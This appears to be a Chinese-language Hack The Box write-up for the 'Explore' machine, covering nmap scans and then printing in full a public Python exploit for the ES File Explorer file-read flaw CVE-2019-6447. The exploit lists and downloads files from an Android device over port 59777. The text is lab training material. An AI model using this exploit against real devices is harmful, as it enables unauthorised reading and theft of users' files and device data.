Hack the box -Explore通关记录 - FreeBuf网络安全行业门户

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户，每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序把安全装进口袋

Web安全

^{0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9}

Hack the box -Explore通关记录

pony686 2021-10-17 15:07:45 130993

本文由 pony686 创作，已纳入「FreeBuf原创奖励计划」，未授权禁止转载

一信息收集：

1.nmap 10.10.10.247 //收集一下端口信息 1634454126_616bca6ec279760cd5589.png!small?1634454127287

2.然后nmap -sS -sV - A -T5 -p- 10.10.10.247

1634454133_616bca75a8e0c954cf648.png!small?1634454134235

3.发现了 ES File Explorer Name Response httpd .然后去搜索：

42135端口存在“ ES File Explorer Name Response httpd”可利用漏洞，这个漏洞是任意文件读取漏洞，接下来就是通过这个漏洞去查找敏感文件，看看是否存在敏感信息，帮助我们getshell。

1634454141_616bca7d5136bf3d79f01.png!small?1634454142973

4.找到了exp：url地址：https://www.exploit-db.com/exploits/50070 1634454156_616bca8c827cba4df74ec.png!small?1634454157059

POC:

Exploit Title: ES File Explorer 4.1.9.7.4 - Arbitrary File Read
Date: 29/06/2021
Exploit Author: Nehal Zaman
Version: ES File Explorer v4.1.9.7.4
Tested on: Android
CVE : CVE-2019-6447
import requests
import json
import ast
import sys
if len(sys.argv) < 3:
print(f"USAGE {sys.argv[0]} [file to download]")
sys.exit(1)
url = 'http://' + sys.argv[2] + ':59777'
cmd = sys.argv[1]
cmds = ['listFiles','listPics','listVideos','listAudios','listApps','listAppsSystem','listAppsPhone','listAppsSdcard','listAppsAll','getFile','getDeviceInfo']
listCmds = cmds[:9]
if cmd not in cmds:
print("[-] WRONG COMMAND!")
print("Available commands : ")
print(" listFiles : List all Files.")
print(" listPics : List all Pictures.")
print(" listVideos : List all videos.")
print(" listAudios : List all audios.")
print(" listApps : List Applications installed.")
print(" listAppsSystem : List System apps.")
print(" listAppsPhone : List Communication related apps.")
print(" listAppsSdcard : List apps on the SDCard.")
print(" listAppsAll : List all Application.")
print(" getFile : Download a file.")
print(" getDeviceInfo : Get device info.")
sys.exit(1)
print("\n==================================================================")
print("| ES File Explorer Open Port Vulnerability : CVE-2019-6447 |")
print("| Coded By : Nehal a.k.a PwnerSec |")
print("==================================================================\n")
header = {"Content-Type" : "application/json"}
proxy = {"http":"http://127.0.0.1:8080", "https":"https://127.0.0.1:8080"}
def httpPost(cmd):
data = json.dumps({"command":cmd})
response = requests.post(url, headers=header, data=data)
return ast.literal_eval(response.text)
def parse(text, keys):
for dic in text:
for key in keys:
print(f"{key} : {dic[key]}")
print('')
def do_listing(cmd):
response = httpPost(cmd)
if len(response) == 0:
keys = []
else:
keys = list(response[0].keys())
parse(response, keys)
if cmd in listCmds:
do_listing(cmd)
elif cmd == cmds[9]:
if len(sys.argv) != 4:
print("[+] Include file name to download.")
sys.exit(1)
elif sys.argv[3][0] != '/':
print("[-] You need to provide full path of the file.")
sys.exit(1)
else:
path = sys.argv[3]
print("[+] Downloading file...")
response = requests.get(url + path)
with open('out.dat','wb') as wf:
wf.write(response.content)
print("[+] Done. Saved asout.dat.")
elif cmd == cmds[10]:
response = httpPost(cmd)
keys = list(response.keys())
for key in keys:
print(f"{key} : {response[key]}")